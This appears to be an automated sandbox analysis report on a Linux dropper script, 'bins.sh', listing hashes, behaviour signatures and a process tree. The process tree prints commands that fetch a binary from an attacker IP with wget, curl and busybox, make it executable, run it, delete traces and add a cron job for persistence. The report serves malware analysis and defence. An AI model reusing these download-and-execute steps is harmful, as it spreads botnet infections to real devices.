Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    05-11-2024 02:43

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    701c9675dc7807d17a43199356d85a0b

  • SHA1

    3fef590ee0fbc9d16043732e239342d6d0dbaff6

  • SHA256

    b72cf0c01db021d59068dd1bdd23a4610251b9fb3b7081130fb12d9723296078

  • SHA512

    32b9af3d088dc5e91d175f39ff8135976ab85f304aa319422f45de4dd836940b6687a19049e8c0b3ed847525c4c9f3d792dcb0df02e2c26f5dd91d3821532768

  • SSDEEP

    192:HCVZUrDyiNRg1FX8s1i2a0W90w0ArTQgLau9EUFilVZUrDnNRg1FH8s1i2I0W90M:HciNRg1FX8s1i2rW+NArTQgLau9EUFiK

Malware Config

Signatures

  • Contacts a large (2166) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:633
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:635
        • /usr/bin/wget
          wget http://87.120.84.230/bins/wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA
          2⤵
          • Writes file to tmp directory
          PID:637
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:660
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA
          2⤵
          • Writes file to tmp directory
          PID:665
        • /bin/chmod
          chmod 777 wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA
          2⤵
          • File and Directory Permissions Modification
          PID:666
        • /tmp/wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA
          ./wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:667
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:669
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:670
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:671
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:672
              • /bin/rm
                rm wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA
                2⤵
                  PID:688
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/R1xY4pNMtit9bYe4kIQZVOlsqE7LrOZMGB
                  2⤵
                    PID:691

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA

                  Filesize

                  141KB

                  MD5

                  3ca8decdb1e52c423c521bfff02ac200

                  SHA1

                  8621ecd6807109b8541912ad9e134f6fb49bfd48

                  SHA256

                  dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                  SHA512

                  b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                • /var/spool/cron/crontabs/tmp.ISYZdv

                  Filesize

                  210B

                  MD5

                  3d6d33e70180d25e5a7d2577382a427a

                  SHA1

                  ea83a376cf22266595df01ee4a9861bfa82cd55f

                  SHA256

                  37f3010639cada11f22c190e7569890bf08f01e32ab8bde818ea573eadf8b29b

                  SHA512

                  c39ba0b42dbf4f41d7f14c44bb94acb92c09dd62f3fc1ebeb459646995e8505ec290c186a752cf2a1b1f5aac813eba6ecf7152a7d71eebfa43bd573bbbf57b28